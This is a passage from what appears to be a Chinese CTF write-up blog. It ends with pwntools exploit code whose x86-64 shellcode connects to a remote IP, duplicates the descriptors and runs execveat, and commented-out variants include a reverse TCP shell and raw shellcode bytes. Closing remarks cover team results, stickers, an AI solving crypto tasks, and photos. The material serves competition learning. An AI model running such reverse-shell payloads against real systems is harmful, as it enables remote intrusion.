    /* socket */
    push 41
    pop rax
    cdq
    push 2
    pop rdi
    push 1
    pop rsi
    syscall
    mov r14, rax

    /* connect */
    mov rdi, r14
    mov rax, 42
    mov rcx, {addr_to_hex('10.222.20.17:11445')}
    push rcx
    push rsp
    pop rsi
    mov rdx, 16
    syscall

    /* dup2 */
    mov rdi, r14
    push 3
    pop rsi
dup2_loop:
    mov rax, 33
    dec esi
    syscall
    jnz dup2_loop

    /* execveat(fd_out, "", ["/tmp/abcd", NULL], ["PATH=...", NULL], AT_EMPTY_PATH) */
    
    {shellcraft.pushstr("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin")}
    mov r14, rsp
    
    {shellcraft.pushstr("")}
    mov r15, rsp
    
    /* envp */
    push 0
    push r14
    mov r10, rsp
    
    /* argv */
    push 0
    push r15
    mov rdx, rsp
    
    /* pathname */
    push 0
    mov rsi, rsp
    
    mov rdi, r13 /* dirfd */
    mov r8, 0x1000 /* AT_EMPTY_PATH */
    mov rax, 322
    syscall
'''
)
# shellcode = ShellcodeMall.amd64.reverse_tcp_shell('172.29.40.122', 12345)
# shellcode = b'\x68\x2f\x2e\x01\x01\x81\x34\x24\x01\x01\x01\x01\x48\x89\xe7\x31\xd2\xbe\x01\x01\x02\x01\x81\xf6\x01\x01\x03\x01\x6a\x02\x58\x0f\x05\x48\x89\xc7\x31\xd2\xb6\x03\x48\x89\xe6\x6a\x4e\x58\x0f\x05\x6a\x04\x5f\x31\xd2\xb6\x03\x48\x89\xe6\x6a\x01\x58\x0f\x05'
# shellcode = shellcraft.open('./flag', 0) + 'mov rsi, rsp\nadd rsi, 0x200\n' + shellcraft.read('rax', 'rsi', 0x100) + shellcraft.write(4, 'rsi', 0x114)
# payload = p64(stack + 0x98) + shellcode
payload = p64(stack + 0x98) + asm(shellcode)
pause()
s(payload)

ia()

碎碎念

比赛时成功找外国战队要到了贴纸,win!

image-20251202113840018

image-20251202114334967

ctf 最后差一题,前几天都是血,队友 tql

image-20251202113903267

qanux 是密码的神(gemini3-pro 真神),ai 把密码 ak 了

最后放几张合照

image-20251202114419854

image-20251202114433892

评论
NETEASE歌单
未选择曲目
0:000:00